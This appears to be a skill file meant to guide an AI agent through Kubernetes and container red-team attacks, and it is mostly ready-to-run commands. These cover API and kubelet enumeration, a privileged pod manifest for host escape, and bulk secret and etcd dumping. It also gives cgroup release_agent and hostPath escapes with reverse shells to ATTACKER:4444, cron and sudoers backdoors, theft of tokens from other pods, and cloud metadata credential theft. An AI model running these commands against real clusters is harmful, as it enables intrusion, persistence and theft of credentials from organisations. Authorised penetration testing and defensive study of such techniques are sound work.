---
name: rt-kubernetes
description: "Kubernetes and container security red team skill. K8s API server enumeration and exploitation, RBAC privilege escalation, service account token abuse, container escape techniques (privileged container, hostPath mount, cap_sys_admin), etcd direct access, image supply chain attacks, and lateral movement between pods/namespaces. Use when engagement scope includes containerized infrastructure or cloud-native environments."
---

# rt-kubernetes — Kubernetes & Container Exploitation

## Overview

Kubernetes is the dominant container orchestration platform and is increasingly the backbone of cloud-native applications. Misconfigurations in RBAC, network policies, admission controllers, and pod security standards create escalation paths from a single compromised pod to full cluster compromise — and often to the underlying cloud account.

**Attack surface:**
- K8s API server (often exposed, sometimes unauthenticated)
- Service account tokens (auto-mounted in every pod by default)
- etcd (cluster state database — contains all secrets)
- Container runtime (Docker socket, containerd socket)
- Cloud metadata endpoint (accessible from inside pods)
- Inter-pod communication (flat network by default)

---

## Step 1 — Discover Kubernetes Environments

```bash
# From external network
nmap -sV -p 6443,8443,8080,2379,2380,10250,10255 TARGET_RANGE
# 6443 = K8s API (TLS)
# 8080 = K8s API (unauthenticated, older clusters)
# 10250 = Kubelet API
# 10255 = Kubelet read-only (deprecated but found in older clusters)
# 2379 = etcd client port
# 30000-32767 = NodePort services

# Check for unauthenticated API
curl -sk https://TARGET:6443/api/v1/namespaces
curl -sk http://TARGET:8080/api/v1/pods

# Check for anonymous kubelet access
curl -sk https://NODE_IP:10250/pods | python3 -m json.tool
curl http://NODE_IP:10255/pods  # read-only (no auth)
```

---

## Step 2 — Initial Access (From Inside a Pod)

```bash
# Enumerate from inside a compromised pod
# Check service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Set up kubectl with SA token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Check what permissions the SA has
curl -sk $APISERVER/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $TOKEN"

# Install kubectl if not present
curl -LO "https://dl.k8s.io/release/v1.29.0/bin/linux/amd64/kubectl"
chmod +x kubectl && mv kubectl /tmp/kubectl

/tmp/kubectl auth can-i --list --token=$TOKEN --server=$APISERVER \
  --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
```

---

## Step 3 — RBAC Enumeration & Privilege Escalation

```bash
# List all roles and cluster roles
kubectl get roles --all-namespaces
kubectl get clusterroles
kubectl describe clusterrole cluster-admin

# Check current permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets --all-namespaces

# Find over-privileged service accounts
kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide | grep -i "cluster-admin\|admin"

# Find SAs with dangerous permissions
# wildcard (*) on resources or verbs = over-privileged
kubectl get clusterrolebindings -o json | python3 -c "
import json, sys
data = json.load(sys.stdin)
for rb in data['items']:
    for sub in rb.get('subjects', []):
        if sub['kind'] == 'ServiceAccount':
            print(rb['metadata']['name'], '→', sub['name'], 'in', sub.get('namespace','cluster'))
"
```

### 3a — Escalation via create pods

```yaml
# If SA can create pods → create privileged pod → escape to node
# privileged-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: privesc-pod
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  hostIPC: true
  containers:
  - name: privesc
    image: ubuntu:latest
    command: ["/bin/bash", "-c", "nsenter -t 1 -m -u -i -n -p -- bash"]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
  restartPolicy: Never
```

```bash
kubectl apply -f privileged-pod.yaml
kubectl exec -it privesc-pod -- /bin/bash
# Now inside: nsenter gives host shell
# Read /host/etc/shadow, /host/root/.ssh/
# chroot /host bash → full host access
```

### 3b — Escalation via get/list secrets

```bash
# Dump all secrets across all namespaces
kubectl get secrets --all-namespaces -o json | python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
for item in data['items']:
    ns = item['metadata']['namespace']
    name = item['metadata']['name']
    for k, v in item.get('data', {}).items():
        try:
            decoded = base64.b64decode(v).decode()
            print(f'{ns}/{name}/{k}: {decoded}')
        except: pass
"

# Look for:
# - AWS/GCP/Azure credentials
# - Database passwords
# - API keys
# - TLS private keys
# - Other SA tokens with higher privileges
```

### 3c — Escalation via impersonate

```bash
# If SA can impersonate users/SAs
kubectl auth can-i impersonate users
kubectl auth can-i impersonate serviceaccounts

# Impersonate cluster-admin
kubectl --as=system:admin get nodes
kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system
```

---

## Step 4 — Container Escape Techniques

### 4a — Privileged Container Escape

```bash
# Check if running privileged
cat /proc/1/status | grep CapEff
# CapEff: 0000003fffffffff = full capabilities = privileged

# Mount host filesystem
mkdir /tmp/host && mount /dev/sda1 /tmp/host
chroot /tmp/host bash
# Full host access

# Or write SSH key to host
echo "SSH_PUB_KEY" >> /tmp/host/root/.ssh/authorized_keys
ssh root@NODE_IP
```

### 4b — hostPath Volume Escape

```bash
# If pod has hostPath volume mounted
mount | grep host
ls /host-volume/

# Write to host init system
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" \
  >> /host-volume/etc/cron.d/backdoor

# Or overwrite sudoers
echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /host-volume/etc/sudoers
```

### 4c — Docker Socket Escape

```bash
# Check for Docker socket
ls -la /var/run/docker.sock
# If present and accessible:

# Create privileged container with host mount
docker run -v /:/host --privileged -it ubuntu:latest bash
chroot /host bash
# Full host access
```

### 4d — cap_sys_admin Escape

```bash
# Check capabilities
capsh --print | grep sys_admin

# Mount host proc
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release

# Notify path payload
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# Write reverse shell command
echo '#!/bin/sh' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'" >> /cmd
chmod +x /cmd

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Triggers release_agent → executes on host
```

---

## Step 5 — etcd Direct Access (Cluster Secrets)

```bash
# If etcd is accessible (often no auth in older clusters)
# etcd contains ALL K8s objects including secrets

# Check access
curl http://ETCD_IP:2379/v2/keys/
etcdctl --endpoints=http://ETCD_IP:2379 get / --prefix --keys-only | head -50

# Dump all secrets
etcdctl --endpoints=http://ETCD_IP:2379 get /registry/secrets --prefix | strings | grep -A2 "password\|token\|key"

# With TLS (if you have certs from compromised node)
etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix | strings
```

---

## Step 6 — Lateral Movement Between Pods/Namespaces

```bash
# Scan internal K8s network
# K8s service DNS: <service>.<namespace>.svc.cluster.local

# From inside pod — scan other services
for ns in default kube-system production staging; do
  kubectl get svc -n $ns 2>/dev/null
done

# Network scan (if nmap available)
nmap -sV 10.96.0.0/12 -p 80,443,3306,5432,6379,27017,9200

# DNS enumeration
for svc in $(kubectl get svc --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name} {end}'); do
  echo $svc
done

# Steal tokens from other pods (if node access)
for pod in /var/lib/kubelet/pods/*/volumes/kubernetes.io~projected/kube-api-access-*/token; do
  echo "=== $pod ==="
  cat $pod
done
```

---

## Step 7 — Cloud Metadata from Inside Pods

```bash
# AWS EKS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get EC2 instance role credentials

# GKE (Google)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# AKS (Azure)
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"

# EKS IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
AWS_ROLE_ARN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
aws sts assume-role-with-web-identity \
  --role-arn $AWS_ROLE_ARN \
  --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token \
  --role-session-name exploit
```

---

## Automated Tools

```bash
# Kube-hunter — automated K8s vulnerability scanner
pip3 install kube-hunter
kube-hunter --remote TARGET_IP
kube-hunter --pod  # run from inside a pod

# Peirates — K8s exploitation framework
git clone https://github.com/inguardians/peirates
./peirates  # interactive menu

# KubeAudit — misconfiguration scanner
kubeaudit all

# Trivy — image vulnerability scanner
trivy image target-app:latest
```

---

## Skill Levels

**BEGINNER:**
- kube-hunter external scan
- kubectl auth can-i --list (check SA permissions)
- Dump secrets if get/list permitted

**INTERMEDIATE:**
- Privileged pod escape via hostPath or Docker socket
- RBAC escalation via create pods
- Lateral movement via service account token theft

**ADVANCED:**
- etcd direct access and secret extraction
- cap_sys_admin / cgroup escape
- Cloud metadata chaining (EKS → AWS IAM role)

**EXPERT:**
- Supply chain: compromise container registry → inject malicious image
- Admission controller bypass
- Custom resource definition abuse
- Cross-cluster attacks via kubeconfig theft

---

## References

- HackTricks K8s: https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes
- Peirates: https://github.com/inguardians/peirates
- kube-hunter: https://github.com/aquasecurity/kube-hunter
- MITRE ATT&CK for Containers: https://attack.mitre.org/matrices/enterprise/containers/
- Bad Pods: https://github.com/BishopFox/badPods
